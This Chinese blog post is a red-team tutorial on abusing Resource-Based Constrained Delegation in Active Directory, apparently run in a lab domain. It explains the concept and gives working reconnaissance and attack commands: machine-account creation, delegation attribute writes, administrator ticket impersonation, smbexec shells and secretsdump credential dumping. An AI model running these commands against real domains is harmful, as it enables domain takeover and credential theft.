基于资源的约束委派(RBCD)

概念

微软在Windows Server 2012 中新引入基于资源的约束性委派(Resource Based Constrained Delegation, RBCD),RBCD不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身

配置了RBCD的账户属性有如下变化:

  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户

可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 msDS-AllowedToDelegateTo 属性,以指定对 Service 2 上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在 Service 2 上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。

此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。

攻击核心条件

  1. 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
  2. 可以创建机器账户(或已知机器账户)

什么用户具备修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限呢?

  • 将该主机加入域的用户账户

    账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了!

  • Account Operator组成员

  • 该主机的机器账户

什么用户具备添加机器用户的权限

  • 对于一般域成员,由msDS-MachineAccountQuota属性决定,默认可以创建10个机器账户。

约束委派与基于资源的约束委派的区别:

  1. 传统的约束委派S4U2Self返回的票据一定是可转发的(Forwardable标记),如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。
  2. 基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。

补充:

因为基于资源的约束委派中需要用到S4U2Self和S4U2Proxy,又因为S4U2Self只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota,所以就需要通过MachineAccountQuota来创建一个SPN的账户来进行委派配合。
,而计算机账户默认是注册RestrictedKrbHost/domainHOST/domain这两个SPN的

侦查思路1

目标:找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户
已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限

# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 10.10.2.20 -u username -up password -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

如下图,ACL admin组成员对WIN-DC.xiaorang.lab具有writeDacl权限(该权限可以允许持有者修改特定对象的权限),这里chenglei@xiaorang.lab又是该用户组成员,可以通过writeDacl权限修改WIN-DC.xiaorang.lab的msDS-AllowedToActOnBehalfOfOtherIdentity

补充:当然这里也可以修改DCSync权限,直接利用DCSync。

侦查思路2

目标:找到该用户可修改msDS-AllowedToActOnBehalfOfOtherIdentity的机器

已知用户查找到通过该用户加入域中的机器,这台机器可被修改msDS-AllowedToActOnBehalfOfOtherIdentity

# 查用户账户SID
whoami /all

# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
powershell-import PowerView.ps1
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights

如下图,zhangxin@xiaorang.lab用户为Account Operator组成员,该用户具备对Fileserver.xiaorang.lab这台机器修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限

攻击思路

这里附一张自己画的图(攻击流程):

创建机器账户

# 使用addcpmputer创建机器账户
addcomputer.py domain/username:password -method LDAPS -computer-name hack\$ -computer-pass Passw0rd -dc-ip 10.10.2.20
# 使用powershell
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount hack -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)

通过impacket直接攻击

rbcd.py domain/username:password -dc-ip 172.22.60.8 -action write -delegate-to 'PC1$' -delegate-from 'hack$'

查询机器账户的sid

import-module .\PowerView.ps1
Get-DomainComputer hack | select objectSid

设置委派属性

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3535393121-624993632-895678587-1116)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer PC1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证是否添加成功

Get-DomainComputer PC1 -Properties msds-allowedtoactonbehalfofotheridentity

申请票据

python3 getST.py -dc-ip 172.22.60.8 xiaorang.lab/hack$:password -spn cifs/pc1.xiaorang.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k PC1.xiaorang.lab

利用DCSync接管全域

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass PC1.xiaorang.lab -dc-ip 172.22.60.8

参考文章

奇安信攻防社区-红队域渗透技术:委派攻击汇总(全) https://forum.butian.net/share/1591

https://txluck.github.io/2022/03/04/基于资源的约束委派/

posted @ 2024-02-02 14:24  seizer-zyx  阅读(318)  评论(2编辑  收藏  举报